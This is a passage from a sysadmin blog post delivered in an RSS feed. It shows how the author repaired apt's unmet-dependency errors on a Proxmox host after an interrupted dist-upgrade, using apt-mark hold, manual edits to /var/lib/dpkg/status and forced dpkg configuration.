&lt;span class="go"&gt;E: Unmet dependencies. Try &amp;#39;apt --fix-broken install&amp;#39; with no packages (or specify a solution).&lt;/span&gt;
&lt;span class="go"&gt;[100]&lt;/span&gt;
&lt;span class="gp"&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alright, let's try &lt;code&gt;apt --fix-broken install&lt;/code&gt;:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;--fix-broken&lt;span class="w"&gt; &lt;/span&gt;install
&lt;span class="go"&gt;Reading package lists... Done&lt;/span&gt;
&lt;span class="go"&gt;Building dependency tree... Done&lt;/span&gt;
&lt;span class="go"&gt;Reading state information... Done&lt;/span&gt;
&lt;span class="go"&gt;Correcting dependencies... Done&lt;/span&gt;
&lt;span class="go"&gt;The following packages were automatically installed and are no longer required:&lt;/span&gt;

&lt;span class="go"&gt;[…]&lt;/span&gt;

&lt;span class="go"&gt;75 upgraded, 64 newly installed, 50 to remove and 530 not upgraded.&lt;/span&gt;
&lt;span class="go"&gt;17 not fully installed or removed.&lt;/span&gt;
&lt;span class="go"&gt;Need to get 0 B/118 MB of archives.&lt;/span&gt;
&lt;span class="go"&gt;After this operation, 215 MB of additional disk space will be used.&lt;/span&gt;
&lt;span class="go"&gt;Do you want to continue? [Y/n] y&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) !! WARNING !!&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) You are attempting to remove the meta-package &amp;#39;proxmox-ve&amp;#39;!&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) &lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) If you really want to permanently remove &amp;#39;proxmox-ve&amp;#39; from your system, run the following command&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook)   touch &amp;#39;/please-remove-proxmox-ve&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) run apt purge proxmox-ve to remove the meta-package&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) and repeat your apt invocation.&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) &lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook) If you are unsure why &amp;#39;proxmox-ve&amp;#39; would be removed, please verify&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook)   - your APT repository settings&lt;/span&gt;
&lt;span class="go"&gt;W: (pve-apt-hook)   - that you are using &amp;#39;apt full-upgrade&amp;#39; to upgrade your system&lt;/span&gt;
&lt;span class="go"&gt;E: Sub-process /usr/share/proxmox-ve/pve-apt-hook returned an error code (1)&lt;/span&gt;
&lt;span class="go"&gt;E: Failure running script /usr/share/proxmox-ve/pve-apt-hook&lt;/span&gt;
&lt;span class="go"&gt;[100]&lt;/span&gt;
&lt;span class="gp"&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We're absolutely not going to do that, so let's use &lt;code&gt;apt-mark&lt;/code&gt; to tell &lt;code&gt;apt&lt;/code&gt;
to leave &lt;code&gt;proxmox-ve&lt;/code&gt; alone, and try the whole manoeuvre again:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;apt-mark&lt;span class="w"&gt; &lt;/span&gt;hold&lt;span class="w"&gt; &lt;/span&gt;proxmox-ve
&lt;span class="go"&gt;proxmox-ve set on hold.&lt;/span&gt;
&lt;span class="gp"&gt;# &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;--fix-broken&lt;span class="w"&gt; &lt;/span&gt;install
&lt;span class="go"&gt;Reading package lists... Done&lt;/span&gt;
&lt;span class="go"&gt;Building dependency tree... Done&lt;/span&gt;
&lt;span class="go"&gt;Reading state information... Done&lt;/span&gt;
&lt;span class="go"&gt;Correcting dependencies... failed.&lt;/span&gt;
&lt;span class="go"&gt;The following packages have unmet dependencies:&lt;/span&gt;
&lt;span class="go"&gt; libanyevent-perl : Depends: perlapi-5.40.0&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libasync-interrupt-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libev-perl but it is not installed or&lt;/span&gt;
&lt;span class="go"&gt;                                libevent-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;                    Recommends: libguard-perl but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libcommon-sense-perl : Depends: perl (&amp;lt; 5.36.1~) but 5.40.1-6 is installed&lt;/span&gt;
&lt;span class="go"&gt; libnss-systemd : Depends: systemd (= 257.7-1) but 252.38-1~deb12u1 is installed&lt;/span&gt;
&lt;span class="go"&gt; libpam-systemd : Depends: systemd (= 257.7-1) but 252.38-1~deb12u1 is installed&lt;/span&gt;
&lt;span class="go"&gt; libsasl2-2 : Depends: libssl3t64 (&amp;gt;= 3.0.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt;              Recommends: libsasl2-modules (&amp;gt;= 2.1.28+dfsg1-9) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libsasl2-modules-db : Depends: libdb5.3t64 but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; libsystemd-shared : Depends: libssl3t64 (&amp;gt;= 3.4.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; openssl : Depends: libssl3t64 (&amp;gt;= 3.5.0) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; perl : Depends: perl-base (= 5.40.1-6) but 5.36.0-7+deb12u2 is installed&lt;/span&gt;
&lt;span class="go"&gt;        Depends: libperl5.40 (= 5.40.1-6) but it is not installed&lt;/span&gt;
&lt;span class="go"&gt; perl-modules-5.40 : Depends: perl-base (&amp;gt;= 5.40.1-1) but 5.36.0-7+deb12u2 is installed&lt;/span&gt;
&lt;span class="go"&gt; systemd : Depends: libsystemd-shared (= 252.38-1~deb12u1) but 257.7-1 is installed&lt;/span&gt;
&lt;span class="go"&gt;           Depends: libsystemd0 (= 252.38-1~deb12u1) but 257.7-1 is installed&lt;/span&gt;
&lt;span class="go"&gt;E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.&lt;/span&gt;
&lt;span class="go"&gt;E: Unable to correct dependencies&lt;/span&gt;
&lt;span class="go"&gt;[100]&lt;/span&gt;
&lt;span class="gp"&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You might think that using &lt;code&gt;apt-mark hold&lt;/code&gt; for all the packages with unmet
dependencies is the way to go, but you would be wrong, as it doesn't fix shit.
You can check &lt;code&gt;apt&lt;/code&gt;'s documentation and ask the collective hivemind of the
internet, but we didn't find anything to solve our problem. Then we realised
that &lt;code&gt;apt&lt;/code&gt; has a graph of all packages and their dependencies stored somewhere
on the filesystem, and we found it via &lt;code&gt;strace -f -e openat 2&amp;gt;&amp;amp;1 apt install
--fix-missing | grep -oP "\"(.*)\"" | sort | uniq -c&lt;/code&gt;: it's &lt;code&gt;/var/lib/dpkg/status&lt;/code&gt;.
We can now edit it to remove the &lt;code&gt;Depends:&lt;/code&gt; field of every package with broken
dependencies to appease &lt;code&gt;apt&lt;/code&gt;'s dependencies solver via this big fat lie. Once done:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;upgrade
&lt;span class="go"&gt;Reading package lists... Done&lt;/span&gt;
&lt;span class="go"&gt;Building dependency tree... Done&lt;/span&gt;
&lt;span class="go"&gt;Reading state information... Done&lt;/span&gt;
&lt;span class="go"&gt;Calculating upgrade... Done&lt;/span&gt;
&lt;span class="go"&gt;The following packages were automatically installed and are no longer required:&lt;/span&gt;

&lt;span class="go"&gt;[…]&lt;/span&gt;

&lt;span class="go"&gt;Setting up ca-certificates (20250419) ...&lt;/span&gt;
&lt;span class="go"&gt;Updating certificates in /etc/ssl/certs...&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.3.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.5.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;dpkg: error processing package ca-certificates (--configure):&lt;/span&gt;
&lt;span class="go"&gt; installed ca-certificates package post-installation script subprocess returned error exit status 1&lt;/span&gt;
&lt;span class="go"&gt;Setting up busybox (1:1.37.0-6+b3) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libklibc:amd64 (2.0.14-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up novnc-pve (1.6.0-3) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libz3-4:amd64 (4.13.3-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up xz-utils (5.8.1-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libfribidi0:amd64 (1.0.16-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libopus0:amd64 (1.5.2-2) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libquadmath0:amd64 (14.2.0-19) ...&lt;/span&gt;
&lt;span class="go"&gt;dpkg: dependency problems prevent configuration of python3-requests:&lt;/span&gt;
&lt;span class="go"&gt; python3-requests depends on python3-certifi; however:&lt;/span&gt;
&lt;span class="go"&gt;  Package python3-certifi is not configured yet.&lt;/span&gt;
&lt;span class="go"&gt; python3-requests depends on ca-certificates; however:&lt;/span&gt;
&lt;span class="go"&gt;  Package ca-certificates is not configured yet.&lt;/span&gt;

&lt;span class="go"&gt;dpkg: error processing package python3-requests (--configure):&lt;/span&gt;
&lt;span class="go"&gt; dependency problems - leaving unconfigured&lt;/span&gt;
&lt;span class="go"&gt;Setting up libproc2-0:amd64 (2:4.0.4-9) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up proxmox-backup-restore-image (1.0.0) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up ssl-cert (1.1.3) ...&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.3.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.5.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;Signature algorithm of /etc/ssl/certs/ssl-cert-snakeoil.pem is not sha256. Recreating.&lt;/span&gt;
&lt;span class="go"&gt;Could not create certificate. Openssl output was:&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.3.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.5.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.4.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.2.0&amp;#39; not found (required by openssl)&lt;/span&gt;
&lt;span class="go"&gt;dpkg: error processing package ssl-cert (--configure):&lt;/span&gt;
&lt;span class="go"&gt; installed ssl-cert package post-installation script subprocess returned error exit status 1&lt;/span&gt;
&lt;span class="go"&gt;Setting up libxcb-sync1:amd64 (1.17.0-2+b1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up dtach (0.9-7) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up lsb-release (12.1-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up dbus-system-bus-common (1.16.2-2) ...&lt;/span&gt;
&lt;span class="go"&gt;systemd-sysusers: error while loading shared libraries: libsystemd-shared-252.so: cannot open shared object file: No such file or directory&lt;/span&gt;
&lt;span class="go"&gt;dpkg: error processing package dbus-system-bus-common (--configure):&lt;/span&gt;
&lt;span class="go"&gt; installed dbus-system-bus-common package post-installation script subprocess returned error exit status 127&lt;/span&gt;
&lt;span class="go"&gt;Setting up libconfuse2:amd64 (3.3-4) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libisl23:amd64 (0.27-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libcpg4:amd64 (3.1.9-pve2) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libcmap4:amd64 (3.1.9-pve2) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up libpulse0:amd64 (17.0+dfsg1-2+b1) ...&lt;/span&gt;
&lt;span class="go"&gt;dpkg: dependency problems prevent configuration of python3-pip-whl:&lt;/span&gt;
&lt;span class="go"&gt; python3-pip-whl depends on ca-certificates; however:&lt;/span&gt;
&lt;span class="go"&gt;  Package ca-certificates is not configured yet.&lt;/span&gt;

&lt;span class="go"&gt;dpkg: error processing package python3-pip-whl (--configure):&lt;/span&gt;
&lt;span class="go"&gt; dependency problems - leaving unconfigured&lt;/span&gt;
&lt;span class="go"&gt;Setting up libquorum5:amd64 (3.1.9-pve2) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up iptables (1.8.11-2) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up fontconfig-config (2.15.0-2.3) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up uidmap (1:4.17.4-2) ...&lt;/span&gt;
&lt;span class="go"&gt;dpkg: dependency problems prevent configuration of cron:&lt;/span&gt;
&lt;span class="go"&gt; cron depends on cron-daemon-common; however:&lt;/span&gt;
&lt;span class="go"&gt;  Package cron-daemon-common is not configured yet.&lt;/span&gt;

&lt;span class="go"&gt;dpkg: error processing package cron (--configure):&lt;/span&gt;
&lt;span class="go"&gt; dependency problems - leaving unconfigured&lt;/span&gt;
&lt;span class="go"&gt;Setting up python3-typeguard (4.4.2-1) ...&lt;/span&gt;
&lt;span class="go"&gt;Setting up rsyslog (8.2504.0-1) ...&lt;/span&gt;

&lt;span class="go"&gt;[…]&lt;/span&gt;


&lt;span class="go"&gt;dpkg: error processing package pve-manager (--configure):&lt;/span&gt;
&lt;span class="go"&gt; dependency problems - leaving triggers unprocessed&lt;/span&gt;
&lt;span class="go"&gt;Processing triggers for man-db (2.11.2-2) ...&lt;/span&gt;
&lt;span class="go"&gt;Processing triggers for sgml-base (1.31+nmu1) ...&lt;/span&gt;
&lt;span class="go"&gt;Errors were encountered while processing:&lt;/span&gt;
&lt;span class="go"&gt; ca-certificates&lt;/span&gt;
&lt;span class="go"&gt; python3-certifi&lt;/span&gt;
&lt;span class="go"&gt; ssl-cert&lt;/span&gt;
&lt;span class="go"&gt; python3-requests&lt;/span&gt;
&lt;span class="go"&gt; dbus-system-bus-common&lt;/span&gt;
&lt;span class="go"&gt; cron-daemon-common&lt;/span&gt;
&lt;span class="go"&gt; liblwp-protocol-https-perl&lt;/span&gt;
&lt;span class="go"&gt; libwww-perl&lt;/span&gt;
&lt;span class="go"&gt; python3-pip-whl&lt;/span&gt;
&lt;span class="go"&gt; cron&lt;/span&gt;
&lt;span class="go"&gt; libpve-common-perl&lt;/span&gt;
&lt;span class="go"&gt; libproxmox-acme-perl&lt;/span&gt;
&lt;span class="go"&gt; python3-pyvmomi&lt;/span&gt;
&lt;span class="go"&gt; libpve-apiclient-perl&lt;/span&gt;
&lt;span class="go"&gt; dbus&lt;/span&gt;
&lt;span class="go"&gt; libpve-guest-common-perl&lt;/span&gt;
&lt;span class="go"&gt; libpve-storage-perl&lt;/span&gt;
&lt;span class="go"&gt; libpve-access-control&lt;/span&gt;
&lt;span class="go"&gt; libpve-cluster-perl&lt;/span&gt;
&lt;span class="go"&gt; libpve-http-server-perl&lt;/span&gt;
&lt;span class="go"&gt; pve-ha-manager&lt;/span&gt;
&lt;span class="go"&gt; libpve-cluster-api-perl&lt;/span&gt;
&lt;span class="go"&gt; libpve-notify-perl&lt;/span&gt;
&lt;span class="go"&gt; pve-manager&lt;/span&gt;
&lt;span class="go"&gt;E: Sub-process /usr/bin/dpkg returned an error code (1)&lt;/span&gt;
&lt;span class="go"&gt;[100]&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Things are still broken, but less so, at least &lt;code&gt;apt&lt;/code&gt; is able to
upgrade/install/manage/… packages. Now it's simply a matter of running &lt;code&gt;dpkg
--force-all --configure -a&lt;/code&gt;, &lt;code&gt;apt-get install --fix-missing&lt;/code&gt; and &lt;code&gt;apt install
&amp;lt;PACKAGE&amp;gt;&lt;/code&gt; (with &lt;code&gt;&amp;lt;PACKAGE&amp;gt;&lt;/code&gt; being things listed in the &lt;code&gt;Errors were
encountered while processing:&lt;/code&gt; errors from the other commands) until you get no
more errors. At this point, you can reopen &lt;code&gt;/var/lib/dpkg/status&lt;/code&gt;, uncomment
the lines you commented if they're still present, and resume your &lt;code&gt;apt
dist-upgrade&lt;/code&gt;. Still, it's sad that in 2025 a package manager is a simple
&lt;code&gt;SIGINT&lt;/code&gt; away from being completely broken.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 05 Aug 2025 22:00:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2025-08-05:/b/manually-fixing-apts-unmet-dependencies-error.html</guid><category>sysadmin</category></item></channel></rss>